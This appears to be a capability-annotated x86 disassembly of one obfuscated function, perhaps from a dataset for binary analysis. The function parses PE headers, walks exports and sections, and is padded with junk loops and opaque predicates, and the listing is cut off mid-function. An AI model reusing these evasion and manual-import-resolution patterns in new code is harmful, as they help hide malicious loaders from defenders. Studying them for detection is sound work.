Function at 0x100435e9
Capabilities:
Contain obfuscated stackstrings
Encode data using base64
Enumerate pe sections
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10083266
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xd70
and dword [ebp - 0x1c], 0
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1004960b
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x188], 0x5299dada
mov dword [ebp - 0x268], 0
jmp 0x10043640
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 1
jge 0x1004365c
mov eax, dword [ebp - 0x268]
mov dword [ebp + eax*4 - 0x86c], 0
jmp 0x10043633
mov dword [ebp - 0x188], 0
jmp 0x10043675
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0
jg 0x100436d7
mov dword [ebp - 0x270], 0xffffffff
mov dword [ebp - 0x270], 0
jmp 0x100436a1
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 0
jg 0x100436d5
mov dword [ebp - 0x444], 0x77ab3921
mov eax, dword [ebp - 0x444]
dec eax
mov dword [ebp - 0x444], eax
mov eax, dword [ebp - 0x188]
cmp dword [ebp + eax*4 - 0x86c], 0
je 0x100436d3
jmp 0x10043694
jmp 0x10043694
jmp 0x10043668
mov byte [ebp - 0xf1], 0
movzx eax, byte [ebp - 0xf1]
test eax, eax
je 0x100436f7
push 0
push 0x6d20
call fcn.1004274e
pop ecx
pop ecx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x73c], eax
mov eax, dword [ebp - 0x73c]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x10043715
jmp 0x1004963c
mov eax, dword [ebp - 0x73c]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xb8], ecx
mov eax, dword [ebp - 0xb8]
cmp dword [eax], 0x4550
je 0x1004373a
jmp 0x1004963c
mov dword [ebp - 0xbe8], 0x2d5e48d3
mov dword [ebp - 0xbe4], 0x2d5e48d3
mov dword [ebp - 0xbe0], 0x2d5e48d3
mov dword [ebp - 0xbdc], 0x2d5e48d3
mov dword [ebp - 0x278], 0x52061f6
mov dword [ebp - 0x278], 3
jmp 0x10043785
mov eax, dword [ebp - 0x278]
dec eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0
jl 0x100437aa
mov byte [ebp - 0xe8], 0
movzx eax, byte [ebp - 0xe8]
test eax, eax
je 0x100437a8
push 0
call fcn.10043141
pop ecx
jmp 0x10043778
push 0x3adc
push 0
push 0x5319
call fcn.10043576
add esp, 0xc
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb8]
lea eax, [ecx + eax + 0x78]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0xaa4], 1
mov dword [ebp - 0xa28], 0xfffffffd
mov dword [ebp - 0xa30], 3
mov dword [ebp - 0xa38], 0xfffffffc
mov dword [ebp - 0xa40], 0x3250e6da
mov dword [ebp - 0xa48], 0xab274bf9
mov dword [ebp - 0xa50], 0xffffffff
mov dword [ebp - 0xa58], 0x9e53e58b
mov dword [ebp - 0xa60], 0xfffffff6
mov dword [ebp - 0xa68], 0xffffffff
mov dword [ebp - 0x88], 0
jmp 0x1004384e
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 3
jge 0x1004386a
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0xd58], 0x72b21a35
jmp 0x10043841
mov dword [ebp - 0x88], 0
jmp 0x10043883
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 3
jge 0x1004389f
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0xb34], 1
jmp 0x10043876
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb34]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xb34], eax
mov byte [ebp - 0xcb], 0
push 0x60c0
push 0
push 0x508a
push 0x6fd
lea eax, [ebp - 0xcb]
push eax
call fcn.10043311
add esp, 0x14
mov eax, dword [ebp - 0x6c]
cmp dword [eax + 4], 0
jne 0x100438ef
jmp 0x1004963c
mov dword [ebp - 0x184], 0x13532fe2
mov dword [ebp - 0xadc], 0x34aafbeb
mov dword [ebp - 0x824], 0xffffffff
mov dword [ebp - 0x264], 0
jmp 0x10043926
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 2
jge 0x10043942
mov eax, dword [ebp - 0x264]
mov dword [ebp + eax*4 - 0x998], 0xffffffff
jmp 0x10043919
mov dword [ebp - 0x184], 0
jmp 0x1004395b
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 1
jg 0x10043a22
mov dword [ebp - 0x160], 0x25260
mov eax, dword [ebp - 0x184]
cmp dword [ebp + eax*4 - 0x998], 0
je 0x10043987
jmp 0x10043a22
mov dword [ebp - 0x160], 0
jmp 0x100439a0
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 1
jg 0x10043a1d
mov dword [ebp - 0xae4], 0x94e8fe75
mov dword [ebp - 0xaec], 0xfffffff8
push 0
push 0x4452
push 0x4e7a
call fcn.10042c04
add esp, 0xc
mov eax, dword [ebp - 0x160]
cmp dword [ebp + eax*4 - 0x998], 0
je 0x10043a01
mov dword [ebp - 0xaf4], 0x282d564c
mov dword [ebp - 0xafc], 0x21a07835
mov dword [ebp - 0x824], 1
jmp 0x10043a18
mov byte [ebp - 0xad], 0
push 0
lea eax, [ebp - 0xad]
push eax
call fcn.10042e9d
pop ecx
pop ecx
jmp 0x10043993
jmp 0x1004394e
and dword [ebp - 0x28], 0
mov eax, dword [ebp - 0xb8]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0xb8]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x40], 0xe76f5020
mov dword [ebp - 0x5c8], 0xa964a90c
mov dword [ebp - 0x75c], 0xffff
mov dword [ebp - 0x3c], 0
jmp 0x10043a6b
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 4
jge 0x10043a81
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x7f0], 0xdc85
jmp 0x10043a64
mov dword [ebp - 0x3c], 0
jmp 0x10043a91
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 1
jge 0x10043aa7
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x874], 0xfffffffe
jmp 0x10043a8a
mov dword [ebp - 0x3c], 0
jmp 0x10043ab7
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 4
jge 0x10043acd
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0xc1c], 0x197
jmp 0x10043ab0
mov dword [ebp - 0x40], 3
jmp 0x10043add
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jl 0x10043dfe
mov dword [ebp - 0x820], 2
mov dword [ebp - 0x81c], 2
mov dword [ebp - 0x818], 2
mov dword [ebp - 0x814], 2
mov dword [ebp - 0x210], 0x7e780ca9
mov dword [ebp - 0x7a0], 0x1350
mov dword [ebp - 0x27c], 0
jmp 0x10043b3c
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 2
jge 0x10043b58
mov eax, dword [ebp - 0x27c]
mov dword [ebp + eax*4 - 0x898], 0
jmp 0x10043b2f
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x820], 1
mov dword [ebp - 0x210], 1
mov eax, dword [ebp - 0x40]
cmp dword [ebp + eax*4 - 0x7f0], 0
je 0x10043bc5
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x7f0]
mov dword [ebp - 0xb04], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x7f0]
mov dword [ebp - 0xb0c], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xb14], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7f0], 0
je 0x10043bc5
mov dword [ebp - 0x744], 1
jmp 0x10043bcc
and dword [ebp - 0x744], 0
mov eax, dword [ebp - 0x210]
imul eax, dword [ebp - 0x744]
cmp eax, dword [ebp - 0x40]
jge 0x10043bea
mov dword [ebp - 0x74c], 1
jmp 0x10043bf1
and dword [ebp - 0x74c], 0
cmp dword [ebp - 0x74c], 1
jne 0x10043c06
mov dword [ebp - 0x754], 1
jmp 0x10043c0d
and dword [ebp - 0x754], 0
mov eax, dword [ebp - 0x754]
mov dword [ebp - 0x5c8], eax
mov eax, dword [ebp - 0x75c]
dec eax
mov dword [ebp - 0x75c], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x820], 0
jne 0x10043d3c
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x820]
mov dword [ebp - 0xb1c], eax
mov eax, dword [ebp - 0x40]
cmp dword [ebp + eax*4 - 0x7f0], 0
jne 0x10043c73
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x820], 0
jne 0x10043c73
and dword [ebp - 0x78c], 0
jmp 0x10043c7d
mov dword [ebp - 0x78c], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x874]
cmp dword [ebp - 0x78c], eax
jne 0x10043c9e
mov dword [ebp - 0x794], 1
jmp 0x10043ca5
and dword [ebp - 0x794], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xc1c]
cmp dword [ebp - 0x794], eax
je 0x10043cc6
mov dword [ebp - 0x358], 1
jmp 0x10043ccd
and dword [ebp - 0x358], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x358]
mov dword [ebp + eax - 0x820], ecx
mov eax, dword [ebp - 0x358]
sub eax, 0x61cae467
mov ecx, 0xf8a3d355
sub ecx, eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc1c], ecx
jl 0x10043d0d
mov dword [ebp - 0x79c], 1
jmp 0x10043d14
and dword [ebp - 0x79c], 0
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x79c]
sub ecx, dword [ebp + eax*4 - 0x7f0]
push 4
pop eax
imul eax, eax, 0
imul ecx, dword [ebp + eax - 0x898]
mov eax, dword [ebp - 0x40]
cmp ecx, dword [ebp + eax*4 - 0x7f0]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp + eax*4 - 0x7f0]
mov dword [ebp - 0xb24], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x898], 1
jbe 0x10043d68
mov dword [ebp - 0x768], 1
jmp 0x10043d6f
and dword [ebp - 0x768], 0
cmp dword [ebp - 0x768], 0x431b
jg 0x10043d87
mov dword [ebp - 0x3c0], 1
jmp 0x10043d8e
and dword [ebp - 0x3c0], 0
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0x3d00
jl 0x10043db2
mov dword [ebp - 0x734], 1
jmp 0x10043db9
and dword [ebp - 0x734], 0
mov eax, dword [ebp - 0x734]
mov dword [ebp - 0x7a0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x898]
cmp dword [ebp - 0x7a0], eax
jle 0x10043de6
mov dword [ebp - 0x3c8], 1
jmp 0x10043ded
and dword [ebp - 0x3c8], 0
mov eax, dword [ebp - 0x3c8]
mov dword [ebp - 0x5c8], eax
jmp 0x10043ad6
and dword [ebp - 0x368], 0
jmp 0x10043e23
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
mov eax, dword [ebp - 0x114]
add eax, 0x28
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0xb8]
movzx eax, word [eax + 6]
cmp dword [ebp - 0x368], eax
jge 0x10043e9f
mov eax, dword [ebp - 0x114]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x3d0], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x3d0]
jb 0x10043e9a
mov eax, dword [ebp - 0xb8]
push dword [eax + 0x38]
mov eax, dword [ebp - 0x114]
push dword [eax + 8]
call fcn.10042327
pop ecx
pop ecx
add eax, dword [ebp - 0x3d0]
mov dword [ebp - 0x87c], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x87c]
jae 0x10043e9a
push 1
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.100426f7
add esp, 0xc
jmp 0x10043e9f
jmp 0x10043e07
mov dword [ebp - 0x15c], 0x90da
mov dword [ebp - 0xa8], 0xfffffffd
mov dword [ebp - 0xb74], 0xfffffffa
mov dword [ebp - 0x1c0], 0
jmp 0x10043ed6
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 3
jge 0x10043ef2
mov eax, dword [ebp - 0x1c0]
mov dword [ebp + eax*4 - 0x7c8], 0x23b1a956
jmp 0x10043ec9
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa8], 9
jmp 0x10043f17
mov eax, dword [ebp - 0xa8]
dec eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0xffffffee
jle 0x10044428
mov dword [ebp - 0x1d0], 0xffffffff
mov dword [ebp - 0x15c], 0xfffffff9
jmp 0x10043f47
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0xd
jge 0x10044423
mov dword [ebp - 0x6d0], 0xfffffffb
mov dword [ebp - 0x5f0], 0xf2ec2878
mov dword [ebp - 0x218], 0
jmp 0x10043f81
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 1
jge 0x10043f9a
mov eax, dword [ebp - 0x218]
mov dword [ebp + eax*4 - 0x54], 0x1d8f8f57
jmp 0x10043f74
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x54], 0
jmp 0x10043fbf
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x54]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x54], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x54], 2
jg 0x1004441e
mov dword [ebp - 0x5c], 0x6c902da
mov dword [ebp - 0x764], 0x558
mov dword [ebp - 0x88c], 0xfffffffc
mov dword [ebp - 0x8e4], 0
mov dword [ebp - 0x5c], 2
jmp 0x10044005
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jl 0x1004406c
mov dword [ebp - 0x1c8], 0xff29acd4
mov dword [ebp - 0x1c8], 0
jmp 0x1004402e
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 2
jg 0x1004406a
mov byte [ebp - 0xc9], 0
push 0x51a8
push 0x1063
push 0x1409
push 0
push 0x5b4
push 0xc16
lea eax, [ebp - 0xc9]
push eax
call fcn.100434aa
add esp, 0x1c
jmp 0x10044021
jmp 0x10043ffe
mov dword [ebp - 0x5c], 2
jmp 0x1004407c
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jl 0x10044419
mov dword [ebp - 0x220], 0
jmp 0x1004409f
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 1
jge 0x100440bb
mov eax, dword [ebp - 0x220]
mov dword [ebp + eax*4 - 0x8ec], 0xffffffff
jmp 0x10044092
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x54]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x54]
cmp dword [ebp + eax*4 - 0x7c8], ecx
jne 0x100440e4
mov dword [ebp - 0x5e8], 1
jmp 0x100440eb
and dword [ebp - 0x5e8], 0
cmp dword [ebp - 0x1d0], 0
jne 0x10044106
mov eax, 0xc4b79a97
test eax, eax
jne 0x10044106
and dword [ebp - 0x884], 0
jmp 0x10044110
mov dword [ebp - 0x884], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x54]
mov eax, dword [ebp + eax*4 - 0x7c8]
inc eax
cmp eax, dword [ebp - 0x5c]
jl 0x10044133
mov dword [ebp - 0x6c8], 1
jmp 0x1004413a
and dword [ebp - 0x6c8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x54]
cmp dword [ebp - 0x6c8], eax
jg 0x10044158
mov dword [ebp - 0x3d8], 1
jmp 0x1004415f
and dword [ebp - 0x3d8], 0
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0x3d8], eax
je 0x10044179
mov dword [ebp - 0x5d0], 1
jmp 0x10044180
and dword [ebp - 0x5d0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7c8]
imul eax, dword [ebp - 0x5d0]
cmp eax, dword [ebp - 0x1d0]
je 0x100441a8
mov dword [ebp - 0x3e0], 1
jmp 0x100441af
and dword [ebp - 0x3e0], 0
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0x3e0], eax
jle 0x100441c9
mov dword [ebp - 0x748], 1
jmp 0x100441d0
and dword [ebp - 0x748], 0
mov eax, dword [ebp - 0x764]
add eax, dword [ebp - 0x748]
je 0x100441fa
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7c8], 0
je 0x100441fa
mov dword [ebp - 0x3e8], 1
jmp 0x10044201
and dword [ebp - 0x3e8], 0
mov eax, dword [ebp - 0x3e8]
sub eax, 0x95dd
cmp eax, dword [ebp - 0x1d0]
jge 0x10044220
mov dword [ebp - 0x5d8], 1
jmp 0x10044227
and dword [ebp - 0x5d8], 0
mov eax, dword [ebp - 0x88c]
cmp dword [ebp - 0x5d8], eax
je 0x10044241
mov dword [ebp - 0x3f0], 1
jmp 0x10044248
and dword [ebp - 0x3f0], 0
imul eax, dword [ebp - 0x3f0], 0x2764
mov dword [ebp - 0x6d0], eax
mov eax, dword [ebp - 0x15c]
cmp dword [ebp - 0x6d0], eax
jg 0x10044272
mov dword [ebp - 0x3f8], 1
jmp 0x10044279
and dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x3f8]
jne 0x10044299
mov eax, 0x83dcdcbd
test eax, eax
je 0x10044299
mov dword [ebp - 0x5e0], 1
jmp 0x100442a0
and dword [ebp - 0x5e0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x54]
sub eax, dword [ebp - 0x5e0]
je 0x100442c4
cmp dword [ebp - 0x5c], 0
je 0x100442c4
mov dword [ebp - 0x8dc], 1
jmp 0x100442cb
and dword [ebp - 0x8dc], 0
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0xb7c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x54]
cmp dword [ebp + eax*4 - 0x7c8], 1
jne 0x10044304
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x54], 0
je 0x10044304
mov dword [ebp - 0x400], 1
jmp 0x1004430b
and dword [ebp - 0x400], 0
cmp dword [ebp - 0x400], 0x5f0a8622
jl 0x10044323
mov dword [ebp - 0x408], 1
jmp 0x1004432a
and dword [ebp - 0x408], 0
mov eax, dword [ebp - 0x764]
cmp dword [ebp - 0x408], eax
jne 0x10044344
mov dword [ebp - 0x410], 1
jmp 0x1004434b
and dword [ebp - 0x410], 0
mov eax, dword [ebp - 0x5e8]
cmp eax, dword [ebp - 0x410]
jle 0x10044365
mov dword [ebp - 0x6d8], 1
jmp 0x1004436c
and dword [ebp - 0x6d8], 0
mov eax, dword [ebp - 0x6d8]
mov dword [ebp - 0x8e4], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x54]
mov ecx, dword [ebp + ecx*4 - 0x7c8]
cmp dword [ebp + eax - 0x7c8], ecx
jle 0x100443a4
mov dword [ebp - 0x418], 1
jmp 0x100443ab
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x418]
mov dword [ebp - 0x5f0], eax
cmp dword [ebp - 0x5f0], 0xb8bf5144
jae 0x100443cf
mov dword [ebp - 0x420], 1
jmp 0x100443d6
and dword [ebp - 0x420], 0
mov eax, dword [ebp - 0xa8]
imul eax, dword [ebp - 0x420]
test eax, eax
je 0x100443fa
push 6
pop eax
test eax, eax
je 0x100443fa
mov dword [ebp - 0x750], 1
jmp 0x10044401
and dword [ebp - 0x750], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x750]
mov dword [ebp + eax - 0x8ec], ecx
jmp 0x10044075
jmp 0x10043faa
jmp 0x10043f3a
jmp 0x10043f0a
cmp dword [ebp - 0x28], 0
jne 0x10044433
jmp 0x1004963c
mov dword [ebp - 0x16c], 0xe1757117
mov dword [ebp - 0x16c], 0
jmp 0x10044456
mov eax, dword [ebp - 0x16c]
dec eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0xfffffff0
jne 0x100445cb
mov dword [ebp - 0xd8], 0xe3245f1d
mov dword [ebp - 0x8fc], 0x1a62a969
mov dword [ebp - 0xd8], 0xc
jmp 0x10044490
mov eax, dword [ebp - 0xd8]
dec eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0xffffffee
jle 0x100445bb
mov dword [ebp - 0x8f4], 0xb2c57e71
cmp dword [ebp - 0x16c], 0
je 0x100444e0
mov byte [ebp - 0xe3], 0
movzx eax, byte [ebp - 0xe3]
test eax, eax
je 0x100444db
push 0x60ca
push 0
push 0x76e8
push 0x4133
call fcn.10043445
add esp, 0x10
jmp 0x100445a8
mov dword [ebp - 0x118], 0x8fbc781c
mov dword [ebp - 0x228], 0
jmp 0x10044503
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 4
jge 0x1004451f
mov eax, dword [ebp - 0x228]
mov dword [ebp + eax*4 - 0xc3c], 0x923e64f1
jmp 0x100444f6
mov dword [ebp - 0x118], 0
jmp 0x10044538
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 3
jg 0x100445a8
mov eax, dword [ebp - 0xd8]
sub eax, dword [ebp - 0x8f4]
jne 0x10044568
mov eax, dword [ebp - 0x118]
cmp dword [ebp + eax*4 - 0xc3c], 0
jne 0x10044568
and dword [ebp - 0x428], 0
jmp 0x10044572
mov dword [ebp - 0x428], 1
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp + eax*4 - 0xc3c]
cmp eax, dword [ebp - 0x428]
je 0x10044593
mov dword [ebp - 0x5f8], 1
jmp 0x1004459a
and dword [ebp - 0x5f8], 0
mov eax, dword [ebp - 0x5f8]
mov dword [ebp - 0x8fc], eax
jmp 0x1004452b
cmp dword [ebp - 0xd8], 0
je 0x100445b6
jmp 0x10044483
jmp 0x10044483
cmp dword [ebp - 0xd8], 0
je 0x100445c6
jmp 0x100445cb
jmp 0x10044449
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x28]
add ecx, dword [eax]
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x158], 5
mov dword [ebp - 0x94], 0
jmp 0x100445fc
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 1
jge 0x10044618
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0xe0], 0
jmp 0x100445ef
mov dword [ebp - 0x94], 0
jmp 0x10044631
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 2
jge 0x1004464d
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0x8a4], 5
jmp 0x10044624
mov eax, 0x473e
test eax, eax
je 0x10044772
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xe0], 0
je 0x1004475e
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe0]
neg eax
add eax, 5
cmp eax, dword [ebp - 0x158]
jne 0x10044694
mov dword [ebp - 0x430], 1
jmp 0x1004469b
and dword [ebp - 0x430], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe0]
cmp eax, dword [ebp - 0x430]
je 0x100446bc
mov dword [ebp - 0x6e0], 1
jmp 0x100446c3
and dword [ebp - 0x6e0], 0
mov eax, dword [ebp - 0x158]
cmp dword [ebp - 0x6e0], eax
jle 0x100446dd
mov dword [ebp - 0x438], 1
jmp 0x100446e4
and dword [ebp - 0x438], 0
mov eax, dword [ebp - 0x438]
add eax, 0x67c2
cmp eax, 1
jne 0x10044700
mov dword [ebp - 0x600], 1
jmp 0x10044707
and dword [ebp - 0x600], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe0]
cmp dword [ebp - 0x600], eax
je 0x10044728
mov dword [ebp - 0x440], 1
jmp 0x1004472f
and dword [ebp - 0x440], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xe0]
imul ecx, dword [ebp - 0x440]
cmp dword [ebp + eax - 0xe0], ecx
jg 0x1004475e
mov dword [ebp - 0x76c], 1
jmp 0x10044765
and dword [ebp - 0x76c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8a4]
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8a4]
mov dword [ebp - 0xb84], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8a4]
mov dword [ebp - 0xb8c], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xe0], 0xfffffffa
mov dword [ebp - 0x158], 0
jmp 0x100447c2
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 1
jg 0x100447f0
mov byte [ebp - 0xcd], 0
movzx eax, byte [ebp - 0xcd]
test eax, eax
je 0x100447ee
push 0x837
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
jmp 0x100447b5
xor ecx, ecx
call fcn.1002f10d
push eax
call fcn.1006a198
pop ecx
mov dword [ebp - 0x1d8], 1
mov dword [ebp - 0x1d8], 0xffffffe4
jmp 0x10044821
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 0xffffffea
jne 0x10044871
mov dword [ebp - 0x230], 0x31e42a43
mov dword [ebp - 0x230], 0
jmp 0x1004484d
mov eax, dword [ebp - 0x230]
dec eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0xfffffffb
je 0x1004486f
mov byte [ebp - 0xe9], 0
push 1
lea eax, [ebp - 0xe9]
push eax
call fcn.1004274e
pop ecx
pop ecx
jmp 0x10044840
jmp 0x10044814
push 0
call fcn.10042b89
pop ecx
mov dword [ebp - 0x120], 0xac204e2d
mov dword [ebp - 0x958], 0xa0029bf3
mov dword [ebp - 0xb94], 0
mov dword [ebp - 0x448], 0xe95aad85
mov dword [ebp - 0xb9c], 0xffffffff
mov dword [ebp - 0x468], 7
mov dword [ebp - 0xba4], 1
mov dword [ebp - 0xbac], 0xfffffff8
mov dword [ebp - 0x938], 0xee94ccb0
mov dword [ebp - 0xbb4], 0xffffffff
mov dword [ebp - 0x370], 0xd2dc
mov dword [ebp - 0x1e0], 0
jmp 0x10044900
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 1
jge 0x1004491c
mov eax, dword [ebp - 0x1e0]
mov dword [ebp + eax*4 - 0x920], 0
jmp 0x100448f3
mov byte [ebp - 0xcf], 0
movzx eax, byte [ebp - 0xcf]
test eax, eax
je 0x1004494e
push 0
push 0xf42
push 0xafb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
mov dword [ebp - 0x120], 3
jmp 0x10044967
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0x12
jge 0x10044c4b
mov dword [ebp - 0x930], 0xbe4438b
mov dword [ebp - 0x240], 0xa77b69c9
mov dword [ebp - 0xbbc], 6
mov dword [ebp - 0x758], 0xfffe
mov dword [ebp - 0x380], 4
mov dword [ebp - 0x960], 0x71e1d77f
mov dword [ebp - 0x30], 0
jmp 0x100449c0
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 4
jge 0x100449d6
